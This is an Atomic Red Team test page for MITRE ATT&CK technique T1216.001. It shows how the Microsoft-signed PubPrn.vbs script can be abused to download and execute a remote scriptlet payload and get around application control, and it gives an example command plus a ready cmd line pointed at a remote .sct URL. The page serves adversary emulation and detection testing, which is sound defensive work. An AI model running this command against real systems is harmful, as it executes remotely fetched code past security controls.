# T1216.001 - PubPrn
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1216/001)
<blockquote>Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.

<code>PubPrn.vbs</code> is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>.</blockquote>

## Atomic Tests

- [Atomic Test #1 - PubPrn.vbs Signed Script Bypass](#atomic-test-1---pubprnvbs-signed-script-bypass)


<br/>

## Atomic Test #1 - PubPrn.vbs Signed Script Bypass
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

**Supported Platforms:** Windows


**auto_generated_guid:** 9dd29a1f-1e16-4862-be83-913b10a88f6c





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_payload | A remote payload to execute using PubPrn.vbs. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct|


#### Attack Commands: Run with `command_prompt`! 


```cmd
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
```






<br/>
